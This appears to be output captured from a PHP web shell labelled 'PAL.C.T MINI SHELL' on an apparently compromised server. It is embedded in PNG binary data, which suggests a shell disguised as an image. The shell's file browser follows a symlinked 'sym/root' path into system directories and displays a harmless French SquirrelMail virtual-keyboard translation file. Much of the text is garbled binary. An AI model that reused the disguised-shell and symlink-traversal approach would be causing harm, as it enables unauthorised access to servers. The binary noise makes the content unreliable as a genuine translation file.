php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fr_FR/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fr_FR/LC_MESSAGES/vkeyboard.po

# vkeyboard plugin for SquirrelMail project.
# Copyright (C) 2004 Daniel K. Imori
# This file is distributed under the same license as the vkeyboard package.
# Daniel K. Imori <daniel@bastion.com.br>, 2004.
#
msgid ""
msgstr ""
"Project-Id-Version: vkeyboard 0.8\n"
"POT-Creation-Date: 2004-08-20 17:38-0300\n"
"PO-Revision-Date: 2004-12-19 15:38\n"
"Last-Translator: Patrick Lamaiziere <patrick.softs@lamaiziere.net>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: vkeyboard.php:115
msgid " seconds."
msgstr " secondes."

#: functions.php:49
msgid "Are you using a public computer?"
msgstr "Vous utilisez un ordinateur public ?"

#: vkeyboard.php:161
msgid "Clear"
msgstr "Effacer"

#: vkeyboard.php:166
msgid "Close"
msgstr "Fermer"

#: functions.php:51
msgid "Enter your password with the "
msgstr "Entrez votre mot de passe avec le "

#: vkeyboard.php:107
msgid "Enter your password:"
msgstr "Entrez votre mot de passe :"

#: help.php:60
msgid ""
"For this, you must point the mouse and keep it for few seconds on the key "
"that you want to type."
msgstr ""
"Pour cela, déplacez la souris et laissez la pendant quelques secondes sur la touche "
"que vous voulez taper."

#: vkeyboard.php:109
msgid "Help"
msgstr "Aide"

#: help.php:56
msgid ""
"It protects your password against keyloggers, which are hidden programs that "
"capture everything that you type or click."
msgstr ""
"Il protège votre mot de passe contre les espions de clavier, programmes cachés qui enregistrent "
"tout ce que vous tapez ou cliquez."

#: help.php:54
msgid "It's a keyboard that simulates a real keyboard. ;)"
msgstr "C'est un clavier qui simule un clavier réel. ;)"

#: vkeyboard.php:156
msgid "Login"
msgstr "Connexion"

#: functions.php:61
msgid "Open Virtual Keyboard"
msgstr "Ouvrir le clavier virtuel"

#: help.php:58
msgid ""
"So, you can increase your security, using the virtual keyboard and its "
"\"automatic click\" function."
msgstr ""
"Donc, vous pouvez améliorer la sécurité en utilisant le clavier virtuel "
"et sa fonction de \"clic automatique\"."

#: vkeyboard.php:113
msgid "The key will be pressed in "
msgstr "La touche sera appuyée dans "

#: vkeyboard.php:52
msgid "Virtual Keyboard"
msgstr "Clavier Virtuel"

#: help.php:46
msgid "Virtual Keyboard: Help"
msgstr "Clavier Virtuel : Aide"

#: help.php:51
msgid "What's a virtual keyboard?"
msgstr "Qu'est-ce qu'un clavier virtuel ?"

#: functions.php:56
msgid "virtual keyboard"
msgstr "clavier virtuel"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`